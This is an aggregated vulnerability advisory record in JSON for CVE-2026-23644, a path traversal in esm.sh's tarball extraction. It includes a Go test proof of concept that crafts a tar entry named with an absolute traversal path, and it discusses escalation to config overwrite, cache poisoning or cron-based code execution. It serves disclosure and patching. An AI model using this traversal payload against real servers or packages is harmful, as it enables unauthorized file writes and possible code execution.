{"id":"CVE-2026-23644","aliases":["CVE-2026-23644","GHSA-2657-3c98-63jq","GO-2026-4332"],"related":[],"kind":"vulnerability","state":"published","title":"esm.sh has path traversal in `extractPackageTarball` that enables file writes from malicious packages","summary":"esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"esm.sh is a no-build content delivery network (CDN) for web development. Prior to Go pseeudoversion 0.0.0-20260116051925-c62ab83c589e, the software has a path traversal vulnerability due to an incomplete fix. `path.Clean` normalizes a path but does not prevent absolute paths in a malicious tar file. Commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, corresponding to pseudoversion 0.0.0-20260116051925-c62ab83c589e, fixes this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file.\n\n### PoC\n\nThis test file can demonstrate the basic idea pretty easily:\n\n```go\npackage server\n\nimport (\n\t\"archive/tar\"\n\t\"bytes\"\n\t\"compress/gzip\"\n\t\"testing\"\n)\n\n// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function\n// with a malicious tarball containing a path traversal attempt\nfunc TestExtractPackageTarball_PathTraversal(t *testing.T) {\n\t// Create a temporary directory for testing\n\tinstallDir := \"./testdata/good\"\n\n\t// Create a malicious tarball with path traversal\n\tvar buf bytes.Buffer\n\tgw := gzip.NewWriter(&buf)\n\ttw := tar.NewWriter(gw)\n\n\t// Add a normal file\n\tcontent := []byte(\"export const foo = 'bar';\")\n\theader := &tar.Header{\n\t\tName:     \"package/index.js\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(content)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(content); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\t// Add a malicious file with path traversal\n\tbad := []byte(\"bad\")\n\theader = &tar.Header{\n\t\tName:     \"/../../../bad/bad.txt\",\n\t\tMode:     0644,\n\t\tSize:     int64(len(bad)),\n\t\tTypeflag: tar.TypeReg,\n\t}\n\tif err := tw.WriteHeader(header); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif _, err := tw.Write(bad); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\ttw.Close()\n\tgw.Close()\n\n\t// Call extractPackageTarball with the malicious tarball\n\tif err := extractPackageTarball(installDir, \"test-package\", bytes.NewReader(buf.Bytes())); err != nil {\n\t\tt.Errorf(\"extractPackageTarball returned error: %v\", err)\n\t}\n}\n```\n\n### Impact\n\nIt, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.\n\nArbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.\n\nThe limiting factors in the default setup that limit escalating this to code execution:\n\n - `extractPackageTarball` has a file-extension check which makes some more \"obvious\" escalations like overwriting binaries in `/esm/bin`  (e.g. `deno`) impractical since it requires the target file to have an allowlisted extension.\n - Using the `Dockerfile` in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to `/tmp` and it's home directory.\n - The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.\n\n### Fix\n\nUsing [`os.Root`](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.","format":"markdown","source":"ghsa"},{"lang":"en","text":"esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages","format":"markdown","source":"go"},{"lang":"es","text":"esm.sh es una red de entrega de contenido (CDN) sin compilación para desarrollo web. Antes de la pseudoversión Go 0.0.0-20260116051925-c62ab83c589e, el software tiene una vulnerabilidad de salto de ruta debido a una corrección incompleta. 'path.Clean' normaliza una ruta pero no evita rutas absolutas en un archivo tar malicioso. El commit https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16, correspondiente a la pseudoversión 0.0.0-20260116051925-c62ab83c589e, soluciona este problema.","source":"nvd"}],"published":"2026-01-18T22:49:29.676Z","modified":"2026-09-10T03:50:32.291Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":7.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","score":7.5,"rating":"HIGH"}],"cwes":["CWE-22"],"affected":[{"ranges":[{"version":"< 0.0.0-20260116051925-c62ab83c589e","status":"affected"}],"vendor":"esm-dev","product":"esm.sh","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0.0.1","status":"affected","lastAffected":"136"}],"ecosystem":"Go","package":"github.com/esm-dev/esm.sh","purl":"pkg:golang/github.com/esm-dev/esm.sh","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260116051925-c62ab83c589e"}],"ecosystem":"Go","package":"github.com/esm-dev/esm.sh","purl":"pkg:golang/github.com/esm-dev/esm.sh","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260116051925-c62ab83c589e"}],"ecosystem":"Go","package":"github.com/esm-dev/esm.sh","purl":"pkg:golang/github.com/esm-dev/esm.sh","source":"go"},{"ranges":[{"status":"affected","fixed":"136"}],"vendor":"esm","product":"esm.sh","cpe":"cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/esm-dev/esm.sh/security/advisories/GHSA-2657-3c98-63jq","tags":["advisory","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://github.com/esm-dev/esm.sh/commit/c62ab83c589e7b421a0e1376d2a00a4e48161093","tags":["fix","patch","web","x-refsource-misc"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://pkg.go.dev/vuln/GO-2025-4138","tags":["exploit","vendor-advisory","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23644","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/esm-dev/esm.sh","tags":["package"],"sources":["ghsa"]},{"url":"https://pkg.go.dev/vuln/GO-2026-4332","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"yes","technicalImpact":"partial","date":"2026-01-20T20:04:08.412Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-23644","url":"https://www.cve.org/CVERecord?id=CVE-2026-23644","licence":"CVE Terms of Use","modified":"2026-01-20T20:06:58.947Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-2657-3c98-63jq","url":"https://github.com/advisories/GHSA-2657-3c98-63jq","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:32.291Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-4332","url":"https://pkg.go.dev/vuln/GO-2026-4332","licence":"CC-BY-4.0","modified":"2026-02-26T18:56:10.373Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-23644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23644","licence":"Public domain","modified":"2026-06-17T10:21:52.957Z"}],"updatedAt":"2026-11-25T22:59:12.919Z","epss":{"score":0.00676,"percentile":0.47348,"date":"2026-11-30T12:00:22.000Z"}}